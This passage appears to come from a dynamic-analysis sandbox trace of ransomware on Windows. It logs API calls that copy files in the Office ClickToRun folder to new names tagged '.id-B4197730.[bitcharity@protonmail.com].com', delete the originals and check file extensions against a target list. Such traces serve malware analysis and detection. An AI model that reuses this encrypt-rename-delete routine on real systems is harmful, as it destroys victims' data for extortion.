shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0286.533] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=18624) returned 1 [0286.533] CloseHandle (hObject=0x1094) returned 1 [0286.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0286.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0286.534] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.534] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0286.535] GetLastError () returned 0x0 [0286.535] ReadFile (in: hFile=0x1094, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x48c0, lpOverlapped=0x0) returned 1 [0286.537] WriteFile (in: hFile=0x1098, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x48d0, lpOverlapped=0x0) returned 1 [0286.538] ReadFile (in: hFile=0x1094, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0286.538] WriteFile (in: hFile=0x1098, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x112, lpOverlapped=0x0) returned 1 [0286.538] SetEndOfFile (hFile=0x1098) returned 1 [0286.539] CloseHandle (hObject=0x1098) returned 1 [0286.540] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.540] SetEndOfFile (hFile=0x1094) returned 1 [0286.541] CloseHandle (hObject=0x1094) returned 1 [0286.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0286.541] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 1 [0286.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0286.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0286.542] lstrlenW (lpString=".doc") returned 4 [0286.542] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0286.542] lstrlenW (lpString=".docx") returned 5 [0286.542] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0286.542] lstrlenW (lpString=".pdf") returned 4 [0286.542] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0286.542] lstrlenW (lpString=".xls") returned 4 [0286.542] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0286.542] lstrlenW (lpString=".xlsx") returned 5 [0286.542] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0286.542] lstrlenW (lpString=".ppt") returned 4 [0286.542] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0286.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0286.542] lstrlenW (lpString=".zip") returned 4 [0286.542] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0286.542] lstrlenW (lpString=".rar") returned 4 [0286.542] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0286.542] lstrlenW (lpString=".bz2") returned 4 [0286.542] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0286.542] lstrlenW (lpString=".7z") returned 3 [0286.542] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0286.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0286.542] lstrlenW (lpString=".dbf") returned 4 [0286.542] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0286.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0286.542] lstrlenW (lpString=".1cd") returned 4 [0286.542] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0286.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0286.542] lstrlenW (lpString=".jpg") returned 4 [0286.542] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0286.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0286.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0286.542] lstrlenW (lpString=".doc") returned 4 [0286.542] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0286.542] lstrlenW (lpString=".docx") returned 5 [0286.543] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0286.543] lstrlenW (lpString=".pdf") returned 4 [0286.543] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0286.543] lstrlenW (lpString=".xls") returned 4 [0286.543] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0286.543] lstrlenW (lpString=".xlsx") returned 5 [0286.543] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0286.543] lstrlenW (lpString=".ppt") returned 4 [0286.543] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0286.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0286.543] lstrlenW (lpString=".zip") returned 4 [0286.543] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0286.543] lstrlenW (lpString=".rar") returned 4 [0286.543] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0286.543] lstrlenW (lpString=".bz2") returned 4 [0286.543] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0286.543] lstrlenW (lpString=".7z") returned 3 [0286.543] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0286.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0286.543] lstrlenW (lpString=".dbf") returned 4 [0286.543] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0286.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0286.543] lstrlenW (lpString=".1cd") returned 4 [0286.543] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0286.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned 89 [0286.543] lstrlenW (lpString=".jpg") returned 4 [0286.543] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0286.544] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0286.544] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0286.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0286.544] GetFileSizeEx (in: hFile=0x1094, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=18624) returned 1 [0286.544] CloseHandle (hObject=0x1094) returned 1 [0286.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0286.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.544] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1094 [0286.544] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.545] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0286.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0286.545] GetLastError () returned 0x0 [0286.545] ReadFile (in: hFile=0x1094, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x48c0, lpOverlapped=0x0) returned 1 [0286.818] WriteFile (in: hFile=0x1098, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x48d0, lpOverlapped=0x0) returned 1 [0286.819] ReadFile (in: hFile=0x1094, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0286.819] WriteFile (in: hFile=0x1098, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x112, lpOverlapped=0x0) returned 1 [0286.820] SetEndOfFile (hFile=0x1098) returned 1 [0288.919] CloseHandle (hObject=0x1098) returned 1 [0288.919] SetFilePointerEx (in: hFile=0x1094, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0288.919] SetEndOfFile (hFile=0x1094) returned 1 [0288.920] CloseHandle (hObject=0x1094) returned 1 [0288.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.128] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0289.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0289.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0289.128] lstrlenW (lpString=".doc") returned 4 [0289.128] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.128] lstrlenW (lpString=".docx") returned 5 [0289.128] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.128] lstrlenW (lpString=".pdf") returned 4 [0289.128] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.128] lstrlenW (lpString=".xls") returned 4 [0289.128] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.128] lstrlenW (lpString=".xlsx") returned 5 [0289.128] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.129] lstrlenW (lpString=".ppt") returned 4 [0289.129] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0289.129] lstrlenW (lpString=".zip") returned 4 [0289.129] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.129] lstrlenW (lpString=".rar") returned 4 [0289.129] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.129] lstrlenW (lpString=".bz2") returned 4 [0289.129] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.129] lstrlenW (lpString=".7z") returned 3 [0289.129] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0289.129] lstrlenW (lpString=".dbf") returned 4 [0289.129] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0289.129] lstrlenW (lpString=".1cd") returned 4 [0289.129] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0289.129] lstrlenW (lpString=".jpg") returned 4 [0289.129] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0289.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0289.129] lstrlenW (lpString=".doc") returned 4 [0289.129] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.129] lstrlenW (lpString=".docx") returned 5 [0289.129] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.129] lstrlenW (lpString=".pdf") returned 4 [0289.129] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.129] lstrlenW (lpString=".xls") returned 4 [0289.129] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.129] lstrlenW (lpString=".xlsx") returned 5 [0289.129] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.129] lstrlenW (lpString=".ppt") returned 4 [0289.129] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0289.129] lstrlenW (lpString=".zip") returned 4 [0289.129] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.130] lstrlenW (lpString=".rar") returned 4 [0289.130] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.130] lstrlenW (lpString=".bz2") returned 4 [0289.130] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.130] lstrlenW (lpString=".7z") returned 3 [0289.130] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0289.130] lstrlenW (lpString=".dbf") returned 4 [0289.130] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0289.130] lstrlenW (lpString=".1cd") returned 4 [0289.130] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.130] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0289.130] lstrlenW (lpString=".jpg") returned 4 [0289.130] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.130] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0289.130] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0289.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0289.130] GetFileSizeEx (in: hFile=0x10c4, lpFileSize=0x31fff14 | out: lpFileSize=0x31fff14*=19648) returned 1 [0289.130] CloseHandle (hObject=0x10c4) returned 1 [0289.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0289.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c4 [0289.131] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.131] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0289.131] GetLastError () returned 0x0 [0289.131] ReadFile (in: hFile=0x10c4, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0289.132] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0289.134] ReadFile (in: hFile=0x10c4, lpBuffer=0x3c12020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesRead=0x31ffecc*=0x0, lpOverlapped=0x0) returned 1 [0289.134] WriteFile (in: hFile=0x10c8, lpBuffer=0x3c12020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x31ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3c12020*, lpNumberOfBytesWritten=0x31ffc94*=0x110, lpOverlapped=0x0) returned 1 [0289.134] SetEndOfFile (hFile=0x10c8) returned 1 [0289.134] CloseHandle (hObject=0x10c8) returned 1 [0289.134] SetFilePointerEx (in: hFile=0x10c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31ffec0 | out: lpNewFilePointer=0x0) returned 1 [0289.134] SetEndOfFile (hFile=0x10c4) returned 1 [0289.135] CloseHandle (hObject=0x10c4) returned 1 [0289.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0289.135] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0289.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0289.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0289.136] lstrlenW (lpString=".doc") returned 4 [0289.136] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.136] lstrlenW (lpString=".docx") returned 5 [0289.136] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.136] lstrlenW (lpString=".pdf") returned 4 [0289.136] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.136] lstrlenW (lpString=".xls") returned 4 [0289.136] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.136] lstrlenW (lpString=".xlsx") returned 5 [0289.136] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.136] lstrlenW (lpString=".ppt") returned 4 [0289.136] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0289.136] lstrlenW (lpString=".zip") returned 4 [0289.136] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.136] lstrlenW (lpString=".rar") returned 4 [0289.136] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.136] lstrlenW (lpString=".bz2") returned 4 [0289.136] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.136] lstrlenW (lpString=".7z") returned 3 [0289.136] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0289.136] lstrlenW (lpString=".dbf") returned 4 [0289.137] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0289.137] lstrlenW (lpString=".1cd") returned 4 [0289.137] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0289.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0289.137] lstrlenW (lpString=".jpg") returned 4 [0289.137] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0289.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0289.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0289.137] lstrlenW (lpString=".doc") returned 4 [0289.137] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0289.137] lstrlenW (lpString=".docx") returned 5 [0289.137] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0289.137] lstrlenW (lpString=".pdf") returned 4 [0289.137] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0289.137] lstrlenW (lpString=".xls") returned 4 [0289.137] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0289.137] lstrlenW (lpString=".xlsx") returned 5 [0289.137] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0289.137] lstrlenW (lpString=".ppt") returned 4 [0289.137] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0289.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0289.137] lstrlenW (lpString=".zip") returned 4 [0289.137] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0289.137] lstrlenW (lpString=".rar") returned 4 [0289.137] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0289.137] lstrlenW (lpString=".bz2") returned 4 [0289.138] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0289.138] lstrlenW (lpString=".7z") returned 3 [0289.138] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0289.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0289.138] lstrlenW (lpString=".dbf") returned 4 [0289.138] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0289.138] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0289.138] lstrlenW (lpString=".1cd") returned 4 [0289.138] lstrcmpiW 